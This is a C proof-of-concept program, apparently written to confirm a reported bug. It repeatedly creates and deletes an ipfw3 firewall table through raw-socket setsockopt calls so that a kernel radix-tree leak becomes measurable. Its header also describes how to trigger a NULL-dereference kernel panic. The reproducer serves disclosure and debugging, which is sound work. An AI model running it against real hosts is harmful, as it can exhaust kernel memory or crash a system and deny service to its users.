DF-2581 / fw3_table_leak.c
/* DF-2581 -- radix_node_head leak in ipfw3 table create/delete. * table_delete_dispatch (ip_fw3_table.c:115-127) rn_flush()es the node tree * but never rn_freehead()s table_ctx->{mask,node} (in-source XXX), and * table_create_dispatch overwrites the pointers on re-create without * freeing. Each create->delete cycle leaks 2 radix_node_heads per CPU. * Also documents: table DELETE on a never-created table calls * rn_flush(NULL,...) -> deterministic NULL-deref panic (separate defect). * * usage: fw3_table_leak [cycles] */ #include <sys/types.h> #include <sys/socket.h> #include <sys/sysctl.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> struct ipfw_x_header { uint16_t opcode; uint16_t _pad; }; #define IP_FW_X 49 #define IP_FW_TABLE_CREATE 73 #define IP_FW_TABLE_DELETE 74 struct tbl_msg { int id; int type; int count; char name[16]; }; static int fw3_tbl(int opcode, int id, int type) { int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); unsigned char buf[128]; struct ipfw_x_header *x = (struct ipfw_x_header *)buf; struct tbl_msg *t = (struct tbl_msg *)(buf + 4); int rc; if (s < 0) { perror("socket"); exit(1); } x->opcode = opcode; x->_pad = 0; memset(t, 0, sizeof(*t)); t->id = id; t->type = type; strcpy(t->name, "df2581"); rc = setsockopt(s, IPPROTO_IP, IP_FW_X, buf, 4 + sizeof(*t)); if (rc < 0) fprintf(stderr, "table op %d: %s\n", opcode, strerror(errno)); close(s); return rc; } static long freepages(void) { int v; size_t vl = sizeof(v); if (sysctlbyname("vm.stats.vm.v_free_count", &v, &vl, NULL, 0) == 0) return v; return -1; } static long zonepages(void) { int v; size_t vl = sizeof(v); if (sysctlbyname("vm.zone_kmem_pages", &v, &vl, NULL, 0) == 0) return v; return -1; } int main(int argc, char **argv) { int cycles = (argc > 1) ? atoi(argv[1]) : 2000; int i; long f0, f1, z0, z1; setvbuf(stdout, NULL, _IONBF, 0); f0 = freepages(); z0 = zonepages(); printf("before: v_free_count=%ld zone_kmem_pages=%ld\n", f0, z0); for (i = 0; i < cycles; i++) { if (fw3_tbl(IP_FW_TABLE_CREATE, 1, 1) < 0) return 1; if (fw3_tbl(IP_FW_TABLE_DELETE, 1, 0) < 0) return 1; if ((i % 500) == 499) { f1 = freepages(); printf("cycle %d: v_free_count=%ld (delta %+ld) zone_kmem_pages=%ld (+%ld)\n", i + 1, f1, f1 - f0, zonepages(), zonepages() - z0); } } f1 = freepages(); z1 = zonepages(); printf("after %d cycles: v_free_count=%ld zone_kmem_pages %ld -> %ld (+%ld pages = %ld KB kernel heap)\n", cycles, f1, z0, z1, z1 - z0, (z1 - z0) * 4); if (z1 - z0 > 100) printf("DF2581: LEAK CONFIRMED -- %ld zone pages (%ld KB kernel heap) " "consumed by %d create/delete cycles\n", z1 - z0, (z1 - z0) * 4, cycles); else printf("DF2581: no significant free-page drop\n"); return 0; } |